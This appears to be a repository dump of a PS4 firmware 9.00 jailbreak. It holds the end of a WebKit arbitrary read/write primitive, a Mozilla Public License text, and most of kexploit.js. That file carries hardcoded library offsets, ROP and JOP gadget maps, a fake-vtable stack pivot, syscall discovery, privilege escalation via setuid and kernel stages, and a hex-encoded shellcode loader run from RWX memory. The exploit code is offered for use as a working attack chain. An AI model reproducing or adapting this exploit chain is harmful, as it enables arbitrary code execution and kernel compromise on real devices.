expl_slave[1] = 0; 405 | } 406 | }, 407 | write4: function (addr, value) { 408 | expl_master[4] = addr.low; 409 | expl_master[5] = addr.hi; 410 | if (value instanceof int64) { 411 | expl_slave[0] = value.low; 412 | } else { 413 | expl_slave[0] = value; 414 | } 415 | }, 416 | write2: function (addr, value) { 417 | expl_master[4] = addr.low; 418 | expl_master[5] = addr.hi; 419 | var tmp = expl_slave[0] & 0xFFFF0000; 420 | if (value instanceof int64) { 421 | expl_slave[0] = ((value.low & 0xFFFF) | tmp); 422 | } else { 423 | expl_slave[0] = ((value & 0xFFFF) | tmp); 424 | } 425 | }, 426 | write1: function (addr, value) { 427 | expl_master[4] = addr.low; 428 | expl_master[5] = addr.hi; 429 | var tmp = expl_slave[0] & 0xFFFFFF00; 430 | if (value instanceof int64) { 431 | expl_slave[0] = ((value.low & 0xFF) | tmp); 432 | } else { 433 | expl_slave[0] = ((value & 0xFF) | tmp); 434 | } 435 | }, 436 | read8: function (addr) { 437 | expl_master[4] = addr.low; 438 | expl_master[5] = addr.hi; 439 | return new int64(expl_slave[0], expl_slave[1]); 440 | }, 441 | read4: function (addr) { 442 | expl_master[4] = addr.low; 443 | expl_master[5] = addr.hi; 444 | return expl_slave[0]; 445 | }, 446 | read2: function (addr) { 447 | expl_master[4] = addr.low; 448 | expl_master[5] = addr.hi; 449 | return expl_slave[0] & 0xFFFF; 450 | }, 451 | read1: function (addr) { 452 | expl_master[4] = addr.low; 453 | expl_master[5] = addr.hi; 454 | return expl_slave[0] & 0xFF; 455 | }, 456 | leakval: function (obj) { 457 | obj_slave.obj = obj; 458 | return new int64(obj_master[4], obj_master[5]); 459 | } 460 | }; 461 | window.p = prim; 462 | run_hax(); 463 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | NOTE: pOOBs4 CONTENT NOT COVERED, NOT MY WORK 2 | 3 | Mozilla Public License Version 2.0 4 | ================================== 5 | 6 | 1. Definitions 7 | -------------- 8 | 9 | 1.1. "Contributor" 10 | means each individual or legal entity that creates, contributes to 11 | the creation of, or owns Covered Software. 12 | 13 | 1.2. "Contributor Version" 14 | means the combination of the Contributions of others (if any) used 15 | by a Contributor and that particular Contributor's Contribution. 16 | 17 | 1.3. "Contribution" 18 | means Covered Software of a particular Contributor. 19 | 20 | 1.4. "Covered Software" 21 | means Source Code Form to which the initial Contributor has attached 22 | the notice in Exhibit A, the Executable Form of such Source Code 23 | Form, and Modifications of such Source Code Form, in each case 24 | including portions thereof. 25 | 26 | 1.5. "Incompatible With Secondary Licenses" 27 | means 28 | 29 | (a) that the initial Contributor has attached the notice described 30 | in Exhibit B to the Covered Software; or 31 | 32 | (b) that the Covered Software was made available under the terms of 33 | version 1.1 or earlier of the License, but not also under the 34 | terms of a Secondary License. 35 | 36 | 1.6. "Executable Form" 37 | means any form of the work other than Source Code Form. 38 | 39 | 1.7. "Larger Work" 40 | means a work that combines Covered Software with other material, in 41 | a separate file or files, that is not Covered Software. 42 | 43 | 1.8. "License" 44 | means this document. 45 | 46 | 1.9. "Licensable" 47 | means having the right to grant, to the maximum extent possible, 48 | whether at the time of the initial grant or subsequently, any and 49 | all of the rights conveyed by this License. 50 | 51 | 1.10. "Modifications" 52 | means any of the following: 53 | 54 | (a) any file in Source Code Form that results from an addition to, 55 | deletion from, or modification of the contents of Covered 56 | Software; or 57 | 58 | (b) any new file in Source Code Form that contains any Covered 59 | Software. 60 | 61 | 1.11. "Patent Claims" of a Contributor 62 | means any patent claim(s), including without limitation, method, 63 | process, and apparatus claims, in any patent Licensable by such 64 | Contributor that would be infringed, but for the grant of the 65 | License, by the making, using, selling, offering for sale, having 66 | made, import, or transfer of either its Contributions or its 67 | Contributor Version. 68 | 69 | 1.12. "Secondary License" 70 | means either the GNU General Public License, Version 2.0, the GNU 71 | Lesser General Public License, Version 2.1, the GNU Affero General 72 | Public License, Version 3.0, or any later versions of those 73 | licenses. 74 | 75 | 1.13. "Source Code Form" 76 | means the form of the work preferred for making modifications. 77 | 78 | 1.14. "You" (or "Your") 79 | means an individual or a legal entity exercising rights under this 80 | License. For legal entities, "You" includes any entity that 81 | controls, is controlled by, or is under common control with You. For 82 | purposes of this definition, "control" means (a) the power, direct 83 | or indirect, to cause the direction or management of such entity, 84 | whether by contract or otherwise, or (b) ownership of more than 85 | fifty percent (50%) of the outstanding shares or beneficial 86 | ownership of such entity. 87 | 88 | 2. License Grants and Conditions 89 | -------------------------------- 90 | 91 | 2.1. Grants 92 | 93 | Each Contributor hereby grants You a world-wide, royalty-free, 94 | non-exclusive license: 95 | 96 | (a) under intellectual property rights (other than patent or trademark) 97 | Licensable by such Contributor to use, reproduce, make available, 98 | modify, display, perform, distribute, and otherwise exploit its 99 | Contributions, either on an unmodified basis, with Modifications, or 100 | as part of a Larger Work; and 101 | 102 | (b) under Patent Claims of such Contributor to make, use, sell, offer 103 | for sale, have made, import, and otherwise transfer either its 104 | Contributions or its Contributor Version. 105 | 106 | 2.2. Effective Date 107 | 108 | The licenses granted in Section 2.1 with respect to any Contribution 109 | become effective for each Contribution on the date the Contributor first 110 | distributes such Contribution. 111 | 112 | 2.3. Limitations on Grant Scope 113 | 114 | The licenses granted in this Section 2 are the only rights granted under 115 | this License. No additional rights or licenses will be implied from the 116 | distribution or licensing of Covered Software under this License. 117 | Notwithstanding Section 2.1(b) above, no patent license is granted by a 118 | Contributor: 119 | 120 | (a) for any code that a Contributor has removed from Covered Software; 121 | or 122 | 123 | (b) for infringements caused by: (i) Your and any other third party's 124 | modifications of Covered Software, or (ii) the combination of its 125 | Contributions with other software (except as part of its Contributor 126 | Version); or 127 | 128 | (c) under Patent Claims infringed by Covered Software in the absence of 129 | its Contributions. 130 | 131 | This License does not grant any rights in the trademarks, service marks, 132 | or logos of any Contributor (except as may be necessary to comply with 133 | the notice requirements in Section 3.4). 134 | 135 | 2.4. Subsequent Licenses 136 | 137 | No Contributor makes additional grants as a result of Your choice to 138 | distribute the Covered Software under a subsequent version of this 139 | License (see Section 10.2) or under the terms of a Secondary License (if 140 | permitted under the terms of Section 3.3). 141 | 142 | 2.5. Representation 143 | 144 | Each Contributor represents that the Contributor believes its 145 | Contributions are its original creation(s) or it has sufficient rights 146 | to grant the rights to its Contributions conveyed by this License. 147 | 148 | 2.6. Fair Use 149 | 150 | This License is not intended to limit any rights You have under 151 | applicable copyright doctrines of fair use, fair dealing, or other 152 | equivalents. 153 | 154 | 2.7. Conditions 155 | 156 | Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted 157 | in Section 2.1. 158 | 159 | 3. Responsibilities 160 | ------------------- 161 | 162 | 3.1. Distribution of Source Form 163 | 164 | All distribution of Covered Software in Source Code Form, including any 165 | Modifications that You create or to which You contribute, must be under 166 | the terms of this License. You must inform recipients that the Source 167 | Code Form of the Covered Software is governed by the terms of this 168 | License, and how they can obtain a copy of this License. You may not 169 | attempt to alter or restrict the recipients' rights in the Source Code 170 | Form. 171 | 172 | 3.2. Distribution of Executable Form 173 | 174 | If You distribute Covered Software in Executable Form then: 175 | 176 | (a) such Covered Software must also be made available in Source Code 177 | Form, as described in Section 3.1, and You must inform recipients of 178 | the Executable Form how they can obtain a copy of such Source Code 179 | Form by reasonable means in a timely manner, at a charge no more 180 | than the cost of distribution to the recipient; and 181 | 182 | (b) You may distribute such Executable Form under the terms of this 183 | License, or sublicense it under different terms, provided that the 184 | license for the Executable Form does not attempt to limit or alter 185 | the recipients' rights in the Source Code Form under this License. 186 | 187 | 3.3. Distribution of a Larger Work 188 | 189 | You may create and distribute a Larger Work under terms of Your choice, 190 | provided that You also comply with the requirements of this License for 191 | the Covered Software. If the Larger Work is a combination of Covered 192 | Software with a work governed by one or more Secondary Licenses, and the 193 | Covered Software is not Incompatible With Secondary Licenses, this 194 | License permits You to additionally distribute such Covered Software 195 | under the terms of such Secondary License(s), so that the recipient of 196 | the Larger Work may, at their option, further distribute the Covered 197 | Software under the terms of either this License or such Secondary 198 | License(s). 199 | 200 | 3.4. Notices 201 | 202 | You may not remove or alter the substance of any license notices 203 | (including copyright notices, patent notices, disclaimers of warranty, 204 | or limitations of liability) contained within the Source Code Form of 205 | the Covered Software, except that You may alter any license notices to 206 | the extent required to remedy known factual inaccuracies. 207 | 208 | 3.5. Application of Additional Terms 209 | 210 | You may choose to offer, and to charge a fee for, warranty, support, 211 | indemnity or liability obligations to one or more recipients of Covered 212 | Software. However, You may do so only on Your own behalf, and not on 213 | behalf of any Contributor. You must make it absolutely clear that any 214 | such warranty, support, indemnity, or liability obligation is offered by 215 | You alone, and You hereby agree to indemnify every Contributor for any 216 | liability incurred by such Contributor as a result of warranty, support, 217 | indemnity or liability terms You offer. You may include additional 218 | disclaimers of warranty and limitations of liability specific to any 219 | jurisdiction. 220 | 221 | 4. Inability to Comply Due to Statute or Regulation 222 | --------------------------------------------------- 223 | 224 | If it is impossible for You to comply with any of the terms of this 225 | License with respect to some or all of the Covered Software due to 226 | statute, judicial order, or regulation then You must: (a) comply with 227 | the terms of this License to the maximum extent possible; and (b) 228 | describe the limitations and the code they affect. Such description must 229 | be placed in a text file included with all distributions of the Covered 230 | Software under this License. Except to the extent prohibited by statute 231 | or regulation, such description must be sufficiently detailed for a 232 | recipient of ordinary skill to be able to understand it. 233 | 234 | 5. Termination 235 | -------------- 236 | 237 | 5.1. The rights granted under this License will terminate automatically 238 | if You fail to comply with any of its terms. However, if You become 239 | compliant, then the rights granted under this License from a particular 240 | Contributor are reinstated (a) provisionally, unless and until such 241 | Contributor explicitly and finally terminates Your grants, and (b) on an 242 | ongoing basis, if such Contributor fails to notify You of the 243 | non-compliance by some reasonable means prior to 60 days after You have 244 | come back into compliance. Moreover, Your grants from a particular 245 | Contributor are reinstated on an ongoing basis if such Contributor 246 | notifies You of the non-compliance by some reasonable means, this is the 247 | first time You have received notice of non-compliance with this License 248 | from such Contributor, and You become compliant prior to 30 days after 249 | Your receipt of the notice. 250 | 251 | 5.2. If You initiate litigation against any entity by asserting a patent 252 | infringement claim (excluding declaratory judgment actions, 253 | counter-claims, and cross-claims) alleging that a Contributor Version 254 | directly or indirectly infringes any patent, then the rights granted to 255 | You by any and all Contributors for the Covered Software under Section 256 | 2.1 of this License shall terminate. 257 | 258 | 5.3. In the event of termination under Sections 5.1 or 5.2 above, all 259 | end user license agreements (excluding distributors and resellers) which 260 | have been validly granted by You or Your distributors under this License 261 | prior to termination shall survive termination. 262 | 263 | ************************************************************************ 264 | * * 265 | * 6. Disclaimer of Warranty * 266 | * ------------------------- * 267 | * * 268 | * Covered Software is provided under this License on an "as is" * 269 | * basis, without warranty of any kind, either expressed, implied, or * 270 | * statutory, including, without limitation, warranties that the * 271 | * Covered Software is free of defects, merchantable, fit for a * 272 | * particular purpose or non-infringing. The entire risk as to the * 273 | * quality and performance of the Covered Software is with You. * 274 | * Should any Covered Software prove defective in any respect, You * 275 | * (not any Contributor) assume the cost of any necessary servicing, * 276 | * repair, or correction. This disclaimer of warranty constitutes an * 277 | * essential part of this License. No use of any Covered Software is * 278 | * authorized under this License except under this disclaimer. * 279 | * * 280 | ************************************************************************ 281 | 282 | ************************************************************************ 283 | * * 284 | * 7. Limitation of Liability * 285 | * -------------------------- * 286 | * * 287 | * Under no circumstances and under no legal theory, whether tort * 288 | * (including negligence), contract, or otherwise, shall any * 289 | * Contributor, or anyone who distributes Covered Software as * 290 | * permitted above, be liable to You for any direct, indirect, * 291 | * special, incidental, or consequential damages of any character * 292 | * including, without limitation, damages for lost profits, loss of * 293 | * goodwill, work stoppage, computer failure or malfunction, or any * 294 | * and all other commercial damages or losses, even if such party * 295 | * shall have been informed of the possibility of such damages. This * 296 | * limitation of liability shall not apply to liability for death or * 297 | * personal injury resulting from such party's negligence to the * 298 | * extent applicable law prohibits such limitation. Some * 299 | * jurisdictions do not allow the exclusion or limitation of * 300 | * incidental or consequential damages, so this exclusion and * 301 | * limitation may not apply to You. * 302 | * * 303 | ************************************************************************ 304 | 305 | 8. Litigation 306 | ------------- 307 | 308 | Any litigation relating to this License may be brought only in the 309 | courts of a jurisdiction where the defendant maintains its principal 310 | place of business and such litigation shall be governed by laws of that 311 | jurisdiction, without reference to its conflict-of-law provisions. 312 | Nothing in this Section shall prevent a party's ability to bring 313 | cross-claims or counter-claims. 314 | 315 | 9. Miscellaneous 316 | ---------------- 317 | 318 | This License represents the complete agreement concerning the subject 319 | matter hereof. If any provision of this License is held to be 320 | unenforceable, such provision shall be reformed only to the extent 321 | necessary to make it enforceable. Any law or regulation which provides 322 | that the language of a contract shall be construed against the drafter 323 | shall not be used to construe this License against a Contributor. 324 | 325 | 10. Versions of the License 326 | --------------------------- 327 | 328 | 10.1. New Versions 329 | 330 | Mozilla Foundation is the license steward. Except as provided in Section 331 | 10.3, no one other than the license steward has the right to modify or 332 | publish new versions of this License. Each version will be given a 333 | distinguishing version number. 334 | 335 | 10.2. Effect of New Versions 336 | 337 | You may distribute the Covered Software under the terms of the version 338 | of the License under which You originally received the Covered Software, 339 | or under the terms of any subsequent version published by the license 340 | steward. 341 | 342 | 10.3. Modified Versions 343 | 344 | If you create software not governed by this License, and you want to 345 | create a new license for such software, you may create and use a 346 | modified version of this License if you rename the license and remove 347 | any references to the name of the license steward (except to note that 348 | such modified license differs from this License). 349 | 350 | 10.4. Distributing Source Code Form that is Incompatible With Secondary 351 | Licenses 352 | 353 | If You choose to distribute Source Code Form that is Incompatible With 354 | Secondary Licenses under the terms of this version of the License, the 355 | notice described in Exhibit B of this License must be attached. 356 | 357 | Exhibit A - Source Code Form License Notice 358 | ------------------------------------------- 359 | 360 | This Source Code Form is subject to the terms of the Mozilla Public 361 | License, v. 2.0. If a copy of the MPL was not distributed with this 362 | file, You can obtain one at http://mozilla.org/MPL/2.0/. 363 | 364 | If it is not possible or desirable to put the notice in a particular 365 | file, then You may include the notice in a location (such as a LICENSE 366 | file in a relevant directory) where a recipient would be likely to look 367 | for such a notice. 368 | 369 | You may add additional accurate notices of copyright ownership. 370 | 371 | Exhibit B - "Incompatible With Secondary Licenses" Notice 372 | --------------------------------------------------------- 373 | 374 | This Source Code Form is "Incompatible With Secondary Licenses", as 375 | defined by the Mozilla Public License, v. 2.0. 376 | -------------------------------------------------------------------------------- /static/9.0.0/kexploit.js: -------------------------------------------------------------------------------- 1 | var chain; 2 | var kchain; 3 | var kchain2; 4 | var SAVED_KERNEL_STACK_PTR; 5 | var KERNEL_BASE_PTR; 6 | 7 | var webKitBase; 8 | var webKitRequirementBase; 9 | 10 | var libSceLibcInternalBase; 11 | var libKernelBase; 12 | 13 | var textArea = document.createElement("textarea"); 14 | 15 | const OFFSET_wk_vtable_first_element = 0x104F110; 16 | const OFFSET_WK_memset_import = 0x000002A8; 17 | const OFFSET_WK___stack_chk_fail_import = 0x00000178; 18 | const OFFSET_WK_psl_builtin_import = 0xD68; 19 | 20 | const OFFSET_WKR_psl_builtin = 0x33BA0; 21 | 22 | const OFFSET_WK_setjmp_gadget_one = 0x0106ACF7; 23 | const OFFSET_WK_setjmp_gadget_two = 0x01ECE1D3; 24 | const OFFSET_WK_longjmp_gadget_one = 0x0106ACF7; 25 | const OFFSET_WK_longjmp_gadget_two = 0x01ECE1D3; 26 | 27 | const OFFSET_libcint_memset = 0x0004F810; 28 | const OFFSET_libcint_setjmp = 0x000BB5BC; 29 | const OFFSET_libcint_longjmp = 0x000BB616; 30 | 31 | const OFFSET_WK2_TLS_IMAGE = 0x38e8020; 32 | 33 | 34 | const OFFSET_lk___stack_chk_fail = 0x0001FF60; 35 | const OFFSET_lk_pthread_create = 0x00025510; 36 | const OFFSET_lk_pthread_join = 0x0000AFA0; 37 | 38 | var nogc = []; 39 | var syscalls = {}; 40 | var gadgets = {}; 41 | var wk_gadgetmap = { 42 | "ret": 0x32, 43 | "pop rdi": 0x319690, 44 | "pop rsi": 0x1F4D6, 45 | "pop rdx": 0x986C, 46 | "pop rcx": 0x657B7, 47 | "pop r8": 0xAFAA71, 48 | "pop r9": 0x422571, 49 | "pop rax": 0x51A12, 50 | "pop rsp": 0x4E293, 51 | 52 | "mov [rdi], rsi": 0x1A97920, 53 | "mov [rdi], rax": 0x10788F7, 54 | "mov [rdi], eax": 0x9964BC, 55 | 56 | "cli ; pop rax": 0x566F8, 57 | "sti": 0x1FBBCC, 58 | 59 | "mov rax, [rax]": 0x241CC, 60 | "mov rax, [rsi]": 0x5106A0, 61 | "mov [rax], rsi": 0x1EFD890, 62 | "mov [rax], rdx": 0x1426A82, 63 | "mov [rax], edx": 0x3B7FE4, 64 | "add rax, rsi": 0x170397E, 65 | "mov rdx, rax": 0x53F501, 66 | "add rax, rcx": 0x2FBCD, 67 | "mov rsp, rdi": 0x2048062, 68 | "mov rdi, [rax + 8] ; call [rax]": 0x751EE7, 69 | "infloop": 0x7DFF, 70 | 71 | "mov [rax], cl": 0xC6EAF, 72 | }; 73 | 74 | var wkr_gadgetmap = { 75 | "xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0 //JOP 3 76 | }; 77 | 78 | var wk2_gadgetmap = { 79 | "mov [rax], rdi": 0xFFDD7, 80 | "mov [rax], rcx": 0x2C9ECA, 81 | "mov [rax], cx": 0x15A7D52, 82 | }; 83 | var hmd_gadgetmap = { 84 | "add [r8], r12": 0x2BCE1 85 | }; 86 | var ipmi_gadgetmap = { 87 | "mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344B 88 | }; 89 | 90 | function userland() { 91 | 92 | //RW -> ROP method is strongly based off of: 93 | //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit 94 | 95 | p.launch_chain = launch_chain; 96 | p.malloc = malloc; 97 | p.malloc32 = malloc32; 98 | p.stringify = stringify; 99 | p.array_from_address = array_from_address; 100 | p.readstr = readstr; 101 | 102 | //pointer to vtable address 103 | var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); 104 | //address of vtable 105 | var textAreaVtable = p.read8(textAreaVtPtr); 106 | //use address of 1st entry (in .text) to calculate webkitbase 107 | webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element); 108 | 109 | libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import))); 110 | libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset); 111 | 112 | libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import))); 113 | libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail); 114 | 115 | webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import))); 116 | webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin); 117 | 118 | for (var gadget in wk_gadgetmap) { 119 | window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]); 120 | } 121 | for (var gadget in wkr_gadgetmap) { 122 | window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]); 123 | } 124 | 125 | function get_jmptgt(address) { 126 | var instr = p.read4(address) & 0xFFFF; 127 | var offset = p.read4(address.add32(2)); 128 | if (instr != 0x25FF) { 129 | return 0; 130 | } 131 | return address.add32(0x6 + offset); 132 | } 133 | 134 | function malloc(sz) { 135 | var backing = new Uint8Array(0x10000 + sz); 136 | window.nogc.push(backing); 137 | var ptr = p.read8(p.leakval(backing).add32(0x10)); 138 | ptr.backing = backing; 139 | return ptr; 140 | } 141 | 142 | function malloc32(sz) { 143 | var backing = new Uint8Array(0x10000 + sz * 4); 144 | window.nogc.push(backing); 145 | var ptr = p.read8(p.leakval(backing).add32(0x10)); 146 | ptr.backing = new Uint32Array(backing.buffer); 147 | return ptr; 148 | } 149 | 150 | function array_from_address(addr, size) { 151 | var og_array = new Uint32Array(0x1000); 152 | var og_array_i = p.leakval(og_array).add32(0x10); 153 | 154 | p.write8(og_array_i, addr); 155 | p.write4(og_array_i.add32(0x8), size); 156 | p.write4(og_array_i.add32(0xC), 0x1); 157 | 158 | nogc.push(og_array); 159 | return og_array; 160 | } 161 | 162 | function stringify(str) { 163 | var bufView = new Uint8Array(str.length + 1); 164 | for (var i = 0; i < str.length; i++) { 165 | bufView[i] = str.charCodeAt(i) & 0xFF; 166 | } 167 | window.nogc.push(bufView); 168 | return p.read8(p.leakval(bufView).add32(0x10)); 169 | } 170 | 171 | function readstr(addr) { 172 | var str = ""; 173 | for (var i = 0;; i++) { 174 | var c = p.read1(addr.add32(i)); 175 | if (c == 0x0) { 176 | break; 177 | } 178 | str += String.fromCharCode(c); 179 | 180 | } 181 | return str; 182 | } 183 | 184 | var fakeVtable_setjmp = p.malloc32(0x200); 185 | var fakeVtable_longjmp = p.malloc32(0x200); 186 | var original_context = p.malloc32(0x40); 187 | var modified_context = p.malloc32(0x40); 188 | 189 | p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp); 190 | p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] 191 | p.write8(fakeVtable_setjmp.add32(0x10), original_context); 192 | p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)); 193 | p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] 194 | 195 | p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp); 196 | p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] 197 | p.write8(fakeVtable_longjmp.add32(0x10), modified_context); 198 | p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); 199 | p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] 200 | 201 | function launch_chain(chain) { 202 | chain.push(window.gadgets["pop rdi"]); 203 | chain.push(original_context); 204 | chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); 205 | 206 | p.write8(textAreaVtPtr, fakeVtable_setjmp); 207 | textArea.scrollLeft = 0x0; 208 | p.write8(modified_context.add32(0x00), window.gadgets["ret"]); 209 | p.write8(modified_context.add32(0x10), chain.stack); 210 | p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) 211 | 212 | p.write8(textAreaVtPtr, fakeVtable_longjmp); 213 | textArea.scrollLeft = 0x0; 214 | p.write8(textAreaVtPtr, textAreaVtable); 215 | } 216 | 217 | var kview = new Uint8Array(0x1000); 218 | var kstr = p.leakval(kview).add32(0x10); 219 | var orig_kview_buf = p.read8(kstr); 220 | 221 | p.write8(kstr, window.libKernelBase); 222 | p.write4(kstr.add32(8), 0x40000); 223 | var countbytes; 224 | 225 | for (var i = 0; i < 0x40000; i++) { 226 | if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) { 227 | countbytes = i; 228 | break; 229 | } 230 | } 231 | p.write4(kstr.add32(8), countbytes + 32); 232 | var dview32 = new Uint32Array(1); 233 | var dview8 = new Uint8Array(dview32.buffer); 234 | for (var i = 0; i < countbytes; i++) { 235 | if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) { 236 | dview8[0] = kview[i + 3]; 237 | dview8[1] = kview[i + 4]; 238 | dview8[2] = kview[i + 5]; 239 | dview8[3] = kview[i + 6]; 240 | var syscallno = dview32[0]; 241 | window.syscalls[syscallno] = window.libKernelBase.add32(i); 242 | } 243 | } 244 | p.write8(kstr, orig_kview_buf); 245 | 246 | chain = new rop(); 247 | 248 | //Sanity check 249 | if (chain.syscall(SYSCALL_GETPID).low == 0) { 250 | alert("webkit exploit failed. Try again if your ps4 is on fw 9.00."); 251 | while (1); 252 | } 253 | } 254 | 255 | function run_hax() { 256 | userland(); 257 | if (chain.syscall(SYSCALL_SETUID, 0).low != 0x0) { 258 | kernel(); 259 | //this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?. 260 | //p.write8(0x0, 0x0); //write to 0x0 -> kill browser. 261 | } 262 | 263 | var payload_buffer = chain.syscall(SYSCALL_MMAP, 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0); 264 | var payload_loader = p.malloc32(0x1000); 265 | 266 | //NOTE: You can replace this with a payload instead of the loader. 267 | //You would need to create an array view of payload_buffer to do that. (var payload_writer = p.array_from_address(payload_buffer);) 268 | //And other ways, .... 269 | 270 | //This is x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness) 271 | var loader_writer = payload_loader.backing; 272 | loader_writer[0] = 0x56415741; 273 | loader_writer[1] = 0x83485541; 274 | loader_writer[2] = 0x894818EC; 275 | loader_writer[3] = 0xC748243C; 276 | loader_writer[4] = 0x10082444; 277 | loader_writer[5] = 0x483C2302; 278 | loader_writer[6] = 0x102444C7; 279 | loader_writer[7] = 0x00000000; 280 | loader_writer[8] = 0x000002BF; 281 | loader_writer[9] = 0x0001BE00; 282 | loader_writer[10] = 0xD2310000; 283 | loader_writer[11] = 0x00009CE8; 284 | loader_writer[12] = 0xC7894100; 285 | loader_writer[13] = 0x8D48C789; 286 | loader_writer[14] = 0xBA082474; 287 | loader_writer[15] = 0x00000010; 288 | loader_writer[16] = 0x000095E8; 289 | loader_writer[17] = 0xFF894400; 290 | loader_writer[18] = 0x000001BE; 291 | loader_writer[19] = 0x0095E800; 292 | loader_writer[20] = 0x89440000; 293 | loader_writer[21] = 0x31F631FF; 294 | loader_writer[22] = 0x0062E8D2; 295 | loader_writer[23] = 0x89410000; 296 | loader_writer[24] = 0x2C8B4CC6; 297 | loader_writer[25] = 0x45C64124; 298 | loader_writer[26] = 0x05EBC300; 299 | loader_writer[27] = 0x01499848; 300 | loader_writer[28] = 0xF78944C5; 301 | loader_writer[29] = 0xBAEE894C; 302 | loader_writer[30] = 0x00001000; 303 | loader_writer[31] = 0x000025E8; 304 | loader_writer[32] = 0x7FC08500; 305 | loader_writer[33] = 0xFF8944E7; 306 | loader_writer[34] = 0x000026E8; 307 | loader_writer[35] = 0xF7894400; 308 | loader_writer[36] = 0x00001EE8; 309 | loader_writer[37] = 0x2414FF00; 310 | loader_writer[38] = 0x18C48348; 311 | loader_writer[39] = 0x5E415D41; 312 | loader_writer[40] = 0x31485F41; 313 | loader_writer[41] = 0xC748C3C0; 314 | loader_writer[42] = 0x000003C0; 315 | loader_writer[43] = 0xCA894900; 316 | loader_writer[44] = 0x48C3050F; 317 | loader_writer[45] = 0x0006C0C7; 318 | loader_writer[46] = 0x89490000; 319 | loader_writer[47] = 0xC3050FCA; 320 | loader_writer[48] = 0x1EC0C748; 321 | loader_writer[49] = 0x49000000; 322 | loader_writer[50] = 0x050FCA89; 323 | loader_writer[51] = 0xC0C748C3; 324 | loader_writer[52] = 0x00000061; 325 | loader_writer[53] = 0x0FCA8949; 326 | loader_writer[54] = 0xC748C305; 327 | loader_writer[55] = 0x000068C0; 328 | loader_writer[56] = 0xCA894900; 329 | loader_writer[57] = 0x48C3050F; 330 | loader_writer[58] = 0x006AC0C7; 331 | loader_writer[59] = 0x89490000; 332 | loader_writer[60] = 0xC3050FCA; 333 | chain.syscall(SYSCALL_MPROTECT, payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); 334 | 335 | var pthread = p.malloc(0x10); 336 | // 337 | { 338 | chain.fcall(window.syscalls[SYSCALL_MLOCK], payload_buffer, 0x300000); 339 | chain.fcall(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer); 340 | } 341 | chain.run(); 342 | 343 | 344 | awaitpl(); 345 | } 346 | 347 | function kernel() { 348 | extra_gadgets(); 349 | kchain_setup(); 350 | object_setup(); 351 | trigger_spray(); 352 | patch_once(); 353 | } 354 | 355 | var handle; 356 | var random_path; 357 | var ex_info; 358 | 359 | function load_prx(name) { 360 | //sys_dynlib_load_prx 361 | var res = chain.syscall(SYSCALL_sys_dynlib_load_prx, p.stringify(`/${random_path}/common/lib/${name}`), 0x0, handle, 0x0); 362 | if (res.low != 0x0) { 363 | alert("failed to load prx/get handle " + name); 364 | } 365 | //sys_dynlib_get_info_ex 366 | p.write8(ex_info, 0x1A8); 367 | res = chain.syscall(SYSCALL_sys_dynlib_get_info_ex, p.read4(handle), 0x0, ex_info); 368 | if (res.low != 0x0) { 369 | alert("failed to get module info from handle"); 370 | } 371 | var tlsinit = p.read8(ex_info.add32(0x110)); 372 | var tlssize = p.read4(ex_info.add32(0x11C)); 373 | 374 | if (tlssize != 0) { 375 | if (name == "libSceWebKit2.sprx") { 376 | tlsinit.sub32inplace(OFFSET_WK2_TLS_IMAGE); 377 | } else { 378 | alert(`${name}, tlssize is non zero. this usually indicates that this module has a tls phdr with real data. You can hardcode the imgage to base offset here if you really wish to use one of these.`); 379 | } 380 | } 381 | return tlsinit; 382 | } 383 | 384 | //Obtain extra gadgets through module loading 385 | function extra_gadgets() { 386 | handle = p.malloc(0x1E8); 387 | var randomized_path_length_ptr = handle.add32(0x4); 388 | var randomized_path_ptr = handle.add32(0x14); 389 | ex_info = randomized_path_ptr.add32(0x40); 390 | 391 | p.write8(randomized_path_length_ptr, 0x2C); 392 | 